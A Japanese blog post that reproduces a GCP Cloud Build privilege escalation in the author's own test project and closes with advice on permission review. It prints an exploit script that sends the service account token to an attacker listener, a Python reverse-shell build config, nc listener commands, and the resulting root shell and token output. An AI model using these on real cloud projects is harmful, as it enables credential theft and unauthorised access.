GCPへの攻撃を考える。Cloud Buildを悪用する権限昇格
はじめに
前回の記事では、数種類あるGCPでの権限昇格手法について紹介しました。
GCPへの攻撃を考える。権限昇格について
https://zenn.dev/fire_fire_2/articles/a66019185d6ba4
この記事では、とくに中身の動きには触れず紹介だけでしたが、今回の記事では1つ選んで実際に検証してみた結果を共有したいと思います。
今回は、GCP Cloud Buildを悪用したIAM権限昇格を実際にやってみました。
GCP Penetration Testing Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build
https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
基本的には、Rhino Security Labsが紹介しているままですが、ここで紹介されている/root/tokencache/gsutil_token_cache
ファイルがPythonコンテナでは、GCPの仕様変更なのか何なのかわかりませんが、すでに利用できないため、一部スクリプトを修正しないと権限昇格できませんでした。
Cloud Buildとは
簡単に言えば、プログラムビルド専用のコンテナを立てて、いろいろそのコンテナ上であらかじめ設定しておいたコマンドを実行してビルドしていく、というものです。最終的には新しくコンテナ自体をビルドしてコンテナレジストリに登録したり、Kubernetesへデプロイを行ったりを担う機能になります。もちろんPythonやgcloud、OSコマンドなども利用できます。
悪用方法
Pythonやgcloud、OSコマンドが利用できるということは、RCE(Remote Command Execution)ができるということになります。しかも、gcloudコマンドが利用できるので、$ gcloud auth print-access-token
で、Cloud Buildを動かしてるGCPのサービスアカウントのアクセストークンが入手できます。
さらに、このコンテナ内からインターネット宛ての接続が可能なため、内部データの転送なども簡単に行うことができ、リバースシェルを確立させることもできます。
このように、Cloud BuildでのIAM権限昇格は、サービスアカウントのアクセストークンを窃取することで行います。
前提条件
この手法での権限昇格は、Cloud Buildのジョブを作成できれば良いので下記前提条件を満たせば行えます。
アカウントに下記の権限がついていること。
- cloudbuild.builds.create
プロジェクトで下記のAPIが有効になっていること。
- Cloud Build API / cloudbuild.googleapis.com
ということで、テスト用のプロジェクトを作り、cloudbuild.builds.createの権限を付与しただけのロールを作成し、アカウントに割り当てました。
攻撃実行
PythonスクリプトからAPI経由でCloud Buildを実行し、Curlでアクセストークンを転送する自動な方法と、gcloudコマンドからyamlをsubmitしてリバースシェルを確立させてアクセストークンを表示させる手動な方法で検証しました。
Exploit Script(curlで転送)
まず、自動な方法です。本家のスクリプトを修正して利用しました。Githubにあげてます。
https://github.com/firefire2/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py
まず、自分のアカウント(侵害された想定のアカウント)のアクセストークンを取得します。ya29から始まります。
$ gcloud auth print-access-token
ya29.hogehoge---(省略)---fugafuga
インターネットから到達可能サーバでncで待ち受けます。
$ sudo nc -nlvp <PORT>
Listening on 0.0.0.0 <PORT>
次に上のスクリプトをPythonで実行します。PROJECT_IDとプロジェクトIDは適宜変更してください。また、pipでモジュールのインストールが必要になるとおもいます。
$ python cloudbuild.builds.create.py -p <PROJECT_ID> -l http://<IP_ADDRESS>/token
No credential file passed in, enter an access token to authenticate? (y/n) y
Enter an access token to use for authentication:
アクセストークンを入力するように言われるので、先ほど取得したアクセストークンを入力してください。
うまくいくと、ncで待ち受けているサーバにHTTPでコネクトバックされ、データにCloud Buildサービスアカウントのアクセストークンが載っているはずです。
Connection received on 35.192.112.53 36226
POST /token HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 162
Content-Type: application/x-www-form-urlencoded
ya29.c.KnL7---(省略)---RRaecCRk
手動(リバースシェルからのgcloudコマンド)
次に手動でやってみます。
下記のような、cloudbuild.yamlを作成してください。IPアドレスとポートは自身の環境に合わせてください。gcloudコマンド用のコンテナですが中でPythonが動くのでリバースシェルを確立させるようになっています。
steps:
- name: 'gcr.io/cloud-builders/gcloud'
entrypoint: 'python'
args: ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])']
インターネットから到達可能サーバでncで待ち受けます。
$ sudo nc -nlvp <PORT>
Listening on 0.0.0.0 <PORT>
ファイルと待ち受けの準備ができたら、手元の端末のgcloudコマンドでbuilds submitします。
この時、--no-sourceをつけないとストレージ系の権限不足でCloud Buildが実行されません。
$ gcloud builds submit --config cloudbuild.yaml --no-source
下記のようなエラーが表示されてうまくいってないように見えますが、Cloud Buildは動いています。
ERROR: (gcloud.builds.submit) PERMISSION_DENIED: The caller does not have permission
うまくいくと、ncで待ち受けているサーバにリバースシェルが確立されコマンドを叩くことができるようになります。
Connection received on 34.72.69.5 51688
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# pwd
/workspace
# gcloud version
Google Cloud SDK 332.0.0
alpha 2021.03.12
app-engine-go 1.9.71
app-engine-java 1.9.87
app-engine-python 1.9.91
app-engine-python-extras 1.9.90
beta 2021.03.12
bigtable
bq 2.0.65
cbt 0.9.0
cloud-build-local 0.5.2
cloud-datastore-emulator 2.1.0
cloud-firestore-emulator 1.11.12
core 2021.03.12
datalab 20190610
docker-credential-gcr 1.5.0
emulator-reverse-proxy 0.0.1
gsutil 4.59
kubectl 1.17.17
local-extract 0.1.5
pubsub-emulator 0.4.0
#
ここで、いつものようにアクセストークンを取得するgcloudコマンドを叩くと、みごとにアクセストークンが表示されます。
# gcloud auth list
Credentialed Accounts
ACTIVE ACCOUNT
* 5**********2@cloudbuild.gserviceaccount.com
To set the active account, run:
$ gcloud config set account `ACCOUNT`
# gcloud auth print-access-token
ya29.c.KnL7---(省略)---TxEpI
影響
先ほどから言っていますが、この手法で権限昇格できたアカウントは、Cloud Buildのサービスアカウントで、このアカウントの権限でGCPを操作できるようになります。つまり、cloudbuild.builds.create
権限だけで、下記39個の権限が必要なリソースへのアクセスが可能になりました。
Cloud Buildサービスアカウントのデフォルト権限
artifactregistry.files.get
artifactregistry.files.list
artifactregistry.packages.get
artifactregistry.packages.list
artifactregistry.repositories.downloadArtifacts
artifactregistry.repositories.get
artifactregistry.repositories.list
artifactregistry.repositories.uploadArtifacts
artifactregistry.tags.create
artifactregistry.tags.get
artifactregistry.tags.list
artifactregistry.tags.update
artifactregistry.versions.get
artifactregistry.versions.list
cloudbuild.builds.create
cloudbuild.builds.get
cloudbuild.builds.list
cloudbuild.builds.update
containeranalysis.occurrences.create
containeranalysis.occurrences.delete
containeranalysis.occurrences.get
containeranalysis.occurrences.list
containeranalysis.occurrences.update
logging.logEntries.create
pubsub.topics.create
pubsub.topics.publish
remotebuildexecution.blobs.get
resourcemanager.projects.get
resourcemanager.projects.list
source.repos.get
source.repos.list
storage.buckets.create
storage.buckets.get
storage.buckets.list
storage.objects.create
storage.objects.delete
storage.objects.get
storage.objects.list
storage.objects.update
では、検証としてストレージ系の権限を行使してみます。
下記のようなリクエストでストレージの一覧を表示できます。
$ curl "https://storage.googleapis.com/storage/v1/b?access_token=<ACCESS_TOKEN>&project=<PROJECT_ID>"
まず、最初につかった、CloudBuildの作成権限のみ持ったアカウントのアクセストークンでは、権限がないと返ってきます。
{
"error": {
"code": 403,
"message": "*******@gmail.com does not have storage.buckets.list access to the Google Cloud project.",
"errors": [
{
"message": "*******@gmail.com does not have storage.buckets.list access to the Google Cloud project.",
"domain": "global",
"reason": "forbidden"
}
]
}
}
つぎに、窃取したCloud Buildサービスアカウントのアクセストークンでは、ストレージの情報が返ってきました。
{
"kind": "storage#buckets",
"items": [
{
"kind": "storage#bucket",
"selfLink": "https://www.googleapis.com/storage/v1/b/daijina-de-ta",
"id": "daijina-de-ta",
"name": "daijina-de-ta",
"projectNumber": "5**********2",
"metageneration": "1",
"location": "ASIA",
"storageClass": "STANDARD",
"etag": "CAE=",
"defaultEventBasedHold": false,
"timeCreated": "2021-04-15T06:30:31.748Z",
"updated": "2021-04-15T06:30:31.748Z",
"iamConfiguration": {
"bucketPolicyOnly": {
"enabled": false
},
"uniformBucketLevelAccess": {
"enabled": false
}
},
"locationType": "multi-region",
"satisfiesPZS": false
}
]
}
勝利!!
他にも、下記のようなサービスへの権限も有効にできるため、状況によってはより多くのアクセス権を得ることができるかもしれません。
まとめ
今回は、cloudbuild.builds.create
の権限のみから39個の権限を持ったアカウントに昇格できる手法を実際に検証してみた結果を紹介しました。
よくある権限監査やセキュリティ診断などでは、権限が多くつきすぎてるからダメなど、数ベースでの評価を行うことがあるかと思いますが、今回のケースでは1つしか権限はついていませんでした。
今後、みなさんのクラウド環境を見直す際にもぜひ権限の内容に対するリスクも評価した上でシステムの設計を行うのがいいのではないかと思います。
参考文献
Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build
https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
Discussion